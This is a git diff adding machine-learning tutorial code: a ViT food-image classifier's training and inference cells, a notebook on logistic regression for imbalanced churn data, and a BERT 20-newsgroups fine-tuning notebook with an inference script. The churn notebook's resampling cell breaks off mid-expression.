+ labels.extend(label_ids.tolist())
+ # make the EvalPrediction object that the compute_metrics function expects
+ eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels)
+ # compute the metrics
+ metrics = compute_metrics(eval_prediction)
+ # print the stats
+ print()
+ print(f"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, " +
+ f"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, " +
+ f"F1 Score: {metrics['f1']}")
+ print()
+ # log the metrics
+ summary_writer.add_scalar("valid_loss", valid_loss / n_valid_steps, global_step=current_step)
+ summary_writer.add_scalar("accuracy", metrics["accuracy"], global_step=current_step)
+ summary_writer.add_scalar("f1", metrics["f1"], global_step=current_step)
+ # save the model
+ model.save_pretrained(f"./vit-base-food/checkpoint-{current_step}")
+ image_processor.save_pretrained(f"./vit-base-food/checkpoint-{current_step}")
+ # get the model back to train mode
+ model.train()
+ # reset the train and valid loss
+ train_loss, valid_loss = 0, 0
+ ### training code below ###
+ # get the batch & convert to tensor
+ pixel_values = batch["pixel_values"].to(device)
+ labels = batch["labels"].to(device)
+ # forward pass
+ outputs = model(pixel_values=pixel_values, labels=labels)
+ # get the loss
+ loss = outputs.loss
+ # backward pass
+ loss.backward()
+ # update the weights
+ optimizer.step()
+ # zero the gradients
+ optimizer.zero_grad()
+ # log the loss
+ loss_v = loss.item()
+ train_loss += loss_v
+ # increment the step
+ current_step += 1
+ progress_bar.update(1)
+ # log the training loss
+ summary_writer.add_scalar("train_loss", loss_v, global_step=current_step)
+
+
+# %% [markdown]
+# # Performing Inference
+
+# %%
+# load the best model, change the checkpoint number to the best checkpoint
+# if the last checkpoint is the best, then ignore this cell
+best_checkpoint = 7000
+# best_checkpoint = 150
+model = ViTForImageClassification.from_pretrained(f"./vit-base-food/checkpoint-{best_checkpoint}").to(device)
+# model = ViTForImageClassification.from_pretrained(f"./vit-base-skin-cancer/checkpoint-{best_checkpoint}").to(device)
+
+# %%
+get_prediction(model, "https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load")
+
+# %%
+def get_prediction_probs(model, url_or_path, num_classes=3):
+ # load the image
+ img = load_image(url_or_path)
+ # preprocessing the image
+ pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device)
+ # perform inference
+ output = model(pixel_values)
+ # get the top k classes and probabilities
+ probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes)
+ # get the class labels
+ id2label = model.config.id2label
+ classes = [id2label[idx.item()] for idx in indices[0]]
+ # convert the probabilities to a list
+ probs = probs.squeeze().tolist()
+ # create a dictionary with the class names and probabilities
+ results = dict(zip(classes, probs))
+ return results
+
+# %%
+# example 1
+get_prediction_probs(model, "https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+# %%
+# example 2
+get_prediction_probs(model, "https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+# %%
+# example 3
+get_prediction_probs(model, "https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+# %%
+# example 4
+get_prediction_probs(model, "https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600", num_classes=10)
+
+# %%
+get_prediction_probs(model, "https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+
diff --git a/machine-learning/finetuning-vit-image-classification/requirements.txt b/machine-learning/finetuning-vit-image-classification/requirements.txt
new file mode 100644
index 00000000..f39fc918
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/requirements.txt
@@ -0,0 +1,4 @@
+torch
+transformers
+evaluate
+datasets
diff --git a/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb b/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..d4423500
--- /dev/null
+++ b/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb
@@ -0,0 +1,551 @@
+{
+ "cells": [
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "pyYnq_d3jX9y"
+ },
+ "source": [
+ "## Loading the dataset"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "oAKgqSfg4Av_",
+ "outputId": "2efaaeba-9191-4899-cc23-a30daead997d"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install --upgrade gdown"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "o_YiySaL5JXh",
+ "outputId": "de9b84e1-f860-42a1-f5c2-33d3c5f8d7c0"
+ },
+ "outputs": [],
+ "source": [
+ "!gdown --id 12vfq3DYFId3bsXuNj_PhsACMzrLTfObs"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "95RkXV8bgVAV",
+ "outputId": "e1db356b-e9e0-4e61-fe7a-4ed19f740637"
+ },
+ "outputs": [],
+ "source": [
+ "import numpy as np\n",
+ "from sklearn.model_selection import train_test_split\n",
+ "from imblearn.over_sampling import SMOTE\n",
+ "from sklearn.utils import resample\n",
+ "import pandas as pd\n",
+ "from sklearn.linear_model import LogisticRegression\n",
+ "from sklearn.metrics import roc_auc_score, classification_report\n",
+ "from sklearn.metrics import roc_auc_score\n",
+ "from sklearn.metrics import confusion_matrix\n",
+ "from sklearn.linear_model import LogisticRegression\n",
+ "import statsmodels.api as sm\n",
+ "import seaborn as sns\n",
+ "from sklearn.preprocessing import OrdinalEncoder"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 427
+ },
+ "id": "LbJgEpuFsXo8",
+ "outputId": "55c9df3b-26bc-4fda-90db-14a88914f4cf"
+ },
+ "outputs": [],
+ "source": [
+ "data=pd.read_csv(\"data_regression.csv\")\n",
+ "# get the first 10 rows\n",
+ "data.head(10)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "wc6EPUEBWvIq"
+ },
+ "outputs": [],
+ "source": [
+ "# check for the missing values and dataframes\n",
+ "def datainspection(dataframe):\n",
+ " print(\"Types of the variables we are working with:\")\n",
+ " print(dataframe.dtypes)\n",
+ " \n",
+ " print(\"Total Samples with missing values:\")\n",
+ "\n",
+ " print(data.isnull().any(axis=1).sum()) # null values\n",
+ "\n",
+ " print(\"Total Missing Values per Variable\")\n",
+ " print(data.isnull().sum())\n",
+ " print(\"Map of missing values\")\n",
+ " sns.heatmap(dataframe.isnull())"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000
+ },
+ "id": "aB6NkvMPX9Fx",
+ "outputId": "ad7a6b57-1cfb-4e30-9288-83191e943c59"
+ },
+ "outputs": [],
+ "source": [
+ "datainspection(data)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "kQVFmR-pjiJj"
+ },
+ "outputs": [],
+ "source": [
+ "data = data.dropna() # cleaning up null values"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 270
+ },
+ "id": "bRdAmm8yvWJJ",
+ "outputId": "071d8e5e-58be-4e3e-f6c8-136bd932dfd7"
+ },
+ "outputs": [],
+ "source": [
+ "# function for encoding categorical variables\n",
+ "def encode_cat(data, vars):\n",
+ " ord_en = OrdinalEncoder() \n",
+ " for v in vars:\n",
+ " name = v+'_code' # add _code for encoded variables\n",
+ " data[name] = ord_en.fit_transform(data[[v]])\n",
+ " print('The encoded values for '+ v + ' are:')\n",
+ " print(data[name].unique())\n",
+ " return data\n",
+ "data.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 379
+ },
+ "id": "xGnuojAZzgSG",
+ "outputId": "9df3f4b2-d04d-427c-e1c3-cf0febfbcc09"
+ },
+ "outputs": [],
+ "source": [
+ "# check for the encoded variables\n",
+ "data = encode_cat(data, ['gender', 'multi_screen', 'mail_subscribed'])\n",
+ "data.head()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "dVcl9m6-XhX2"
+ },
+ "outputs": [],
+ "source": [
+ "def full_plot(data, class_col, cols_to_exclude):\n",
+ " cols = data.select_dtypes(include=np.number).columns.tolist() # finding all the numerical columns from the dataframe\n",
+ " X = data[cols] # creating a dataframe only with the numerical columns\n",
+ " X = X[X.columns.difference(cols_to_exclude)] # columns to exclude\n",
+ " X = X[X.columns.difference([class_col])]\n",
+ " sns.pairplot(data, hue=class_col)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000
+ },
+ "id": "mhtOwq2-YADb",
+ "outputId": "185665dd-2c1d-4936-a34d-076ea1f2bd2d"
+ },
+ "outputs": [],
+ "source": [
+ "full_plot(data,class_col='churn', cols_to_exclude=['customer_id','phone_no', 'year'])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "KkQ0mOtRUQOb"
+ },
+ "outputs": [],
+ "source": [
+ "# function for creating plots for selective columns only\n",
+ "def selected_diagnotic(data,class_col, cols_to_eval):\n",
+ " cols_to_eval.append(class_col) \n",
+ " X = data[cols_to_eval] # only selective columns\n",
+ " sns.pairplot(X, hue=class_col) # plot"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 374
+ },
+ "id": "on5q6dJuWqG_",
+ "outputId": "32663e8c-deb5-4ba4-8fdf-c1433adedf10"
+ },
+ "outputs": [],
+ "source": [
+ "selected_diagnotic(data, class_col='churn', cols_to_eval=['videos_watched', 'no_of_days_subscribed'])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "9hOwb2lcZjOZ"
+ },
+ "outputs": [],
+ "source": [
+ "def logistic_regression(data, class_col, cols_to_exclude):\n",
+ " cols = data.select_dtypes(include=np.number).columns.tolist() \n",
+ " X = data[cols]\n",
+ " X = X[X.columns.difference([class_col])] \n",
+ " X = X[X.columns.difference(cols_to_exclude)] # unwanted columns \n",
+ "\n",
+ " y = data[class_col] # the target variable \n",
+ " logit_model = sm.Logit(y,X) \n",
+ " result = logit_model.fit() # fit the model \n",
+ " print(result.summary2()) # check for summary "
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "CylJ_cx8lLgS",
+ "outputId": "021114d2-813c-4579-aba0-b0112da318e7"
+ },
+ "outputs": [],
+ "source": [
+ "logistic_regression(data, class_col='churn', cols_to_exclude=['customer_id', 'phone_no', 'year'])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "H9VkVEB6lTvZ"
+ },
+ "outputs": [],
+ "source": [
+ "def prepare_data(data, class_col, cols_to_exclude):\n",
+ " ## Split in training and test set\n",
+ " ## Selecting only the numerical columns and excluding the columns we specified in the function\n",
+ " cols = data.select_dtypes(include=np.number).columns.tolist() \n",
+ " X = data[cols]\n",
+ " X = X[X.columns.difference([class_col])] \n",
+ " X = X[X.columns.difference(cols_to_exclude)]\n",
+ " ## Selecting y as a column\n",
+ " y = data[class_col]\n",
+ " return train_test_split(X, y, test_size=0.3, random_state=0) # perform train test split"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "HaJzCmF0l6n9"
+ },
+ "outputs": [],
+ "source": [
+ "def run_model(X_train, X_test, y_train, y_test):\n",
+ " # Fitting the logistic regression\n",
+ " logreg = LogisticRegression(random_state=13)\n",
+ " logreg.fit(X_train, y_train) # fit the model\n",
+ " # Predicting y values\n",
+ " y_pred = logreg.predict(X_test) # make predictions on th test data\n",
+ " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test))\n",
+ " print(classification_report(y_test, y_pred)) # check for classification report \n",
+ " print(\"The area under the curve is:\", logit_roc_auc) # check for AUC\n",
+ " return y_pred"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "GsjB3X51m5Fh",
+ "outputId": "0dce3d78-e373-42d7-e5ea-f63b6b9991ab"
+ },
+ "outputs": [],
+ "source": [
+ "X_train, X_test, y_train, y_test = prepare_data(data, class_col='churn', cols_to_exclude=['customer_id', 'phone_no', 'year'])\n",
+ "y_pred = run_model(X_train, X_test, y_train, y_test)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "l1foHWuxfpr7"
+ },
+ "outputs": [],
+ "source": [
+ "from sklearn.metrics import confusion_matrix\n",
+ "\n",
+ "def confusion_m(y_test, y_pred):\n",
+ " cm = confusion_matrix(y_test, y_pred)\n",
+ " print(cm)\n",
+ " tn, fp, fn, tp = cm.ravel()\n",
+ " print(\"TN:\", tn)\n",
+ " print(\"TP:\", tp)\n",
+ " print(\"FN:\", fn)\n",
+ " print(\"FP:\", fp)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "cipNEx9R9iRE",
+ "outputId": "09c7dcb6-3923-46c7-e0dc-3a21721fb343"
+ },
+ "outputs": [],
+ "source": [
+ "## Call the function\n",
+ "confusion_m(y_test, y_pred)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "ksRCpBZCng5k"
+ },
+ "outputs": [],
+ "source": [
+ "# class imbalance method 1 \n",
+ "def run_model_bweights(X_train, X_test, y_train, y_test):\n",
+ " logreg = LogisticRegression(random_state=13, class_weight='balanced') # define class_weight parameter\n",
+ " logreg.fit(X_train, y_train) # fit the model \n",
+ " y_pred = logreg.predict(X_test) # predict on test data\n",
+ " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test)) # ROC AUC score\n",
+ " print(classification_report(y_test, y_pred)) \n",
+ " print(\"The area under the curve is:\", logit_roc_auc) # AUC curve"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "wAWyH-cBoYow",
+ "outputId": "24347c88-d87f-4bc8-fe08-f6314d83bad7"
+ },
+ "outputs": [],
+ "source": [
+ "run_model_bweights(X_train, X_test, y_train, y_test)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "eHQ5X6-Dobc6"
+ },
+ "outputs": [],
+ "source": [
+ "# class imbalance method 2\n",
+ "def run_model_aweights(X_train, X_test, y_train, y_test, w):\n",
+ " logreg = LogisticRegression(random_state=13, class_weight=w) # define class_weight parameter\n",
+ " logreg.fit(X_train, y_train) # fit the model \n",
+ " y_pred = logreg.predict(X_test) # predict on test data\n",
+ " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test)) # ROC AUC score\n",
+ " print(classification_report(y_test, y_pred))\n",
+ " print(\"The area under the curve is: %0.2f\"%logit_roc_auc) # AUC curve"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "XCU6OwiNxabC",
+ "outputId": "5eb4ea9a-d72b-4611-8ab9-c6881bf394a6"
+ },
+ "outputs": [],
+ "source": [
+ "run_model_aweights(X_train,X_test,y_train,y_test,{0:90, 1:10})"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "PoF1mh1xopI9"
+ },
+ "outputs": [],
+ "source": [
+ "# class imbalance method 3\n",
+ "def adjust_imbalance(X_train, y_train, class_col):\n",
+ " X = pd.concat([X_train, y_train], axis=1)\n",
+ " # separate the 2 classes. Here we divide majority and minority classes\n",
+ " class0 = X[X[class_col] == 0]\n",
+ " class1 = X[X[class_col] == 1]\n",
+ " # Case 1 - bootstraps from the minority class\n",
+ " if len(class1)
\ No newline at end of file
diff --git a/machine-learning/nlp/bert-text-classification/finetune-bert.ipynb b/machine-learning/nlp/bert-text-classification/finetune-bert.ipynb
new file mode 100644
index 00000000..e1aaf91d
--- /dev/null
+++ b/machine-learning/nlp/bert-text-classification/finetune-bert.ipynb
@@ -0,0 +1,392 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "262Td2bPGm8L",
+ "outputId": "e955a49d-00f9-4ebf-ca7c-b5c2957336f3"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install --upgrade --user transformers"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "OwAkTJcAJnkG"
+ },
+ "outputs": [],
+ "source": [
+ "import torch\n",
+ "from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available\n",
+ "from transformers import BertTokenizerFast, BertForSequenceClassification\n",
+ "from transformers import Trainer, TrainingArguments\n",
+ "import numpy as np\n",
+ "import random\n",
+ "from sklearn.datasets import fetch_20newsgroups\n",
+ "from sklearn.model_selection import train_test_split"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "sFv-FiYtKuuf"
+ },
+ "outputs": [],
+ "source": [
+ "def set_seed(seed: int):\n",
+ " \"\"\"\n",
+ " Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if\n",
+ " installed).\n",
+ "\n",
+ " Args:\n",
+ " seed (:obj:`int`): The seed to set.\n",
+ " \"\"\"\n",
+ " random.seed(seed)\n",
+ " np.random.seed(seed)\n",
+ " if is_torch_available():\n",
+ " torch.manual_seed(seed)\n",
+ " torch.cuda.manual_seed_all(seed)\n",
+ " # ^^ safe to call this function even if cuda is not available\n",
+ " if is_tf_available():\n",
+ " import tensorflow as tf\n",
+ "\n",
+ " tf.random.set_seed(seed)\n",
+ "\n",
+ "set_seed(1)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "gDRivaE1KYWA"
+ },
+ "outputs": [],
+ "source": [
+ "# the model we gonna train, base uncased BERT\n",
+ "# check text classification models here: https://huggingface.co/models?filter=text-classification\n",
+ "model_name = \"bert-base-uncased\"\n",
+ "# max sequence length for each document/sentence sample\n",
+ "max_length = 512"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "HWtlkkVKXHc0"
+ },
+ "outputs": [],
+ "source": [
+ "# load the tokenizer\n",
+ "tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "aSanWgrgXhbG"
+ },
+ "outputs": [],
+ "source": [
+ "def read_20newsgroups(test_size=0.2):\n",
+ " # download & load 20newsgroups dataset from sklearn's repos\n",
+ " dataset = fetch_20newsgroups(subset=\"all\", shuffle=True, remove=(\"headers\", \"footers\", \"quotes\"))\n",
+ " documents = dataset.data\n",
+ " labels = dataset.target\n",
+ " # split into training & testing a return data as well as label names\n",
+ " return train_test_split(documents, labels, test_size=test_size), dataset.target_names\n",
+ " \n",
+ "# call the function\n",
+ "(train_texts, valid_texts, train_labels, valid_labels), target_names = read_20newsgroups()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "E_r0ECJaXO-y"
+ },
+ "outputs": [],
+ "source": [
+ "# tokenize the dataset, truncate when passed `max_length`, \n",
+ "# and pad with 0's when less than `max_length`\n",
+ "train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)\n",
+ "valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "7riiOpJiXdTd"
+ },
+ "outputs": [],
+ "source": [
+ "class NewsGroupsDataset(torch.utils.data.Dataset):\n",
+ " def __init__(self, encodings, labels):\n",
+ " self.encodings = encodings\n",
+ " self.labels = labels\n",
+ "\n",
+ " def __getitem__(self, idx):\n",
+ " item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}\n",
+ " item[\"labels\"] = torch.tensor([self.labels[idx]])\n",
+ " return item\n",
+ "\n",
+ " def __len__(self):\n",
+ " return len(self.labels)\n",
+ "\n",
+ "# convert our tokenized data into a torch Dataset\n",
+ "train_dataset = NewsGroupsDataset(train_encodings, train_labels)\n",
+ "valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "I4aAwDGZXnyk",
+ "outputId": "ea1f6f93-940f-43b0-bb9d-317662cb75a7"
+ },
+ "outputs": [],
+ "source": [
+ "# load the model and pass to CUDA\n",
+ "model = BertForSequenceClassification.from_pretrained(model_name, num_labels=len(target_names)).to(\"cuda\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "AkZN1X-zOoe0"
+ },
+ "outputs": [],
+ "source": [
+ "from sklearn.metrics import accuracy_score\n",
+ "\n",
+ "def compute_metrics(pred):\n",
+ " labels = pred.label_ids\n",
+ " preds = pred.predictions.argmax(-1)\n",
+ " # calculate accuracy using sklearn's function\n",
+ " acc = accuracy_score(labels, preds)\n",
+ " return {\n",
+ " 'accuracy': acc,\n",
+ " }"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "MjMB9f01Pyiu",
+ "outputId": "7654f4a7-b323-49ef-e5b8-eca3d8c00369"
+ },
+ "outputs": [],
+ "source": [
+ "training_args = TrainingArguments(\n",
+ " output_dir='./results', # output directory\n",
+ " num_train_epochs=3, # total number of training epochs\n",
+ " per_device_train_batch_size=8, # batch size per device during training\n",
+ " per_device_eval_batch_size=20, # batch size for evaluation\n",
+ " warmup_steps=500, # number of warmup steps for learning rate scheduler\n",
+ " weight_decay=0.01, # strength of weight decay\n",
+ " logging_dir='./logs', # directory for storing logs\n",
+ " load_best_model_at_end=True, # load the best model when finished training (default metric is loss)\n",
+ " # but you can specify `metric_for_best_model` argument to change to accuracy or other metric\n",
+ " logging_steps=400, # log & save weights each logging_steps\n",
+ " save_steps=400,\n",
+ " evaluation_strategy=\"steps\", # evaluate each `logging_steps`\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "BukYQXs2P35S"
+ },
+ "outputs": [],
+ "source": [
+ "trainer = Trainer(\n",
+ " model=model, # the instantiated Transformers model to be trained\n",
+ " args=training_args, # training arguments, defined above\n",
+ " train_dataset=train_dataset, # training dataset\n",
+ " eval_dataset=valid_dataset, # evaluation dataset\n",
+ " compute_metrics=compute_metrics, # the callback that computes metrics of interest\n",
+ ")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 357
+ },
+ "id": "s5a7QY_wP5iD",
+ "outputId": "d8c1b2f2-5c07-414f-f2b7-45b9b406faf2"
+ },
+ "outputs": [],
+ "source": [
+ "# train the model\n",
+ "trainer.train()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 87
+ },
+ "id": "cdWlnZxAR0XA",
+ "outputId": "4e40738e-5500-4567-f107-e5c019506cf7"
+ },
+ "outputs": [],
+ "source": [
+ "# evaluate the current model after training\n",
+ "trainer.evaluate()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "ojgBg7cfSp4J",
+ "outputId": "234d385e-fa7f-483d-fb40-e37ce8652c3a"
+ },
+ "outputs": [],
+ "source": [
+ "# saving the fine tuned model & tokenizer\n",
+ "model_path = \"20newsgroups-bert-base-uncased\"\n",
+ "model.save_pretrained(model_path)\n",
+ "tokenizer.save_pretrained(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "KXHXb7RYTARC"
+ },
+ "outputs": [],
+ "source": [
+ "model = BertForSequenceClassification.from_pretrained(model_path, num_labels=len(target_names)).to(\"cuda\")\n",
+ "tokenizer = BertTokenizerFast.from_pretrained(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "96uWKthsR8fS"
+ },
+ "outputs": [],
+ "source": [
+ "def get_prediction(text):\n",
+ " # prepare our text into tokenized sequence\n",
+ " inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors=\"pt\").to(\"cuda\")\n",
+ " # perform inference to our model\n",
+ " outputs = model(**inputs)\n",
+ " # get output probabilities by doing softmax\n",
+ " probs = outputs[0].softmax(1)\n",
+ " # executing argmax function to get the candidate label\n",
+ " return target_names[probs.argmax()]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "EUaasmhpSYcg",
+ "outputId": "8bb7b6ce-5ae8-4d5c-d8e5-43d42f5a136f"
+ },
+ "outputs": [],
+ "source": [
+ "# Example #1\n",
+ "text = \"\"\"With the pace of smartphone evolution moving so fast, there's always something waiting in the wings. \n",
+ "No sooner have you spied the latest handset, that there's anticipation for the next big thing. \n",
+ "Here we look at those phones that haven't yet launched, the upcoming phones for 2021. \n",
+ "We'll be updating this list on a regular basis, with those device rumours we think are credible and exciting.\"\"\"\n",
+ "print(get_prediction(text))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "Ht6zywR_rOzA"
+ },
+ "outputs": [],
+ "source": [
+ "# Example #2\n",
+ "text = \"\"\"\n",
+ "A black hole is a place in space where gravity pulls so much that even light can not get out. \n",
+ "The gravity is so strong because matter has been squeezed into a tiny space. This can happen when a star is dying.\n",
+ "Because no light can get out, people can't see black holes. \n",
+ "They are invisible. Space telescopes with special tools can help find black holes. \n",
+ "The special tools can see how stars that are very close to black holes act differently than other stars.\n",
+ "\"\"\"\n",
+ "print(get_prediction(text))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Example #3\n",
+ "text = \"\"\"\n",
+ "Coronavirus disease (COVID-19) is an infectious disease caused by a newly discovered coronavirus.\n",
+ "Most people infected with the COVID-19 virus will experience mild to moderate respiratory illness and recover without requiring special treatment. \n",
+ "Older people, and those with underlying medical problems like cardiovascular disease, diabetes, chronic respiratory disease, and cancer are more likely to develop serious illness.\n",
+ "\"\"\"\n",
+ "print(get_prediction(text))"
+ ]
+ }
+ ],
+ "metadata": {
+ "accelerator": "GPU",
+ "colab": {
+ "collapsed_sections": [],
+ "machine_shape": "hm",
+ "name": "Untitled21.ipynb",
+ "provenance": []
+ },
+ "kernelspec": {
+ "display_name": "Python 3.8.7 64-bit",
+ "metadata": {
+ "interpreter": {
+ "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67"
+ }
+ },
+ "name": "python3"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 0
+}
diff --git a/machine-learning/nlp/bert-text-classification/inference.py b/machine-learning/nlp/bert-text-classification/inference.py
new file mode 100644
index 00000000..cd5d32b5
--- /dev/null
+++ b/machine-learning/nlp/bert-text-classification/inference.py
@@ -0,0 +1,44 @@
+from transformers import BertForSequenceClassification, BertTokenizerFast
+from sklearn.model_selection import train_test_split
+from sklearn.datasets import fetch_20newsgroups
+
+model_path = "20newsgroups-bert-base-uncased"
+max_length = 512
+
+def read_20newsgroups(test_size=0.2):
+ dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes"))
+ documents = dataset.data
+ labels = dataset.target
+ return train_test_split(documents, labels, test_size=test_size), dataset.target_names
+
+
+(train_texts, valid_texts, train_labels, valid_labels), target_names = read_20newsgroups()
+
+model = BertForSequenceClassification.from_pretrained(model_path, num_labels=len(target_names)).to("cuda")
+tokenizer = BertTokenizerFast.from_pretrained(model_path)
+
+def get_prediction(text):
+ # prepare our text into tokenized sequence
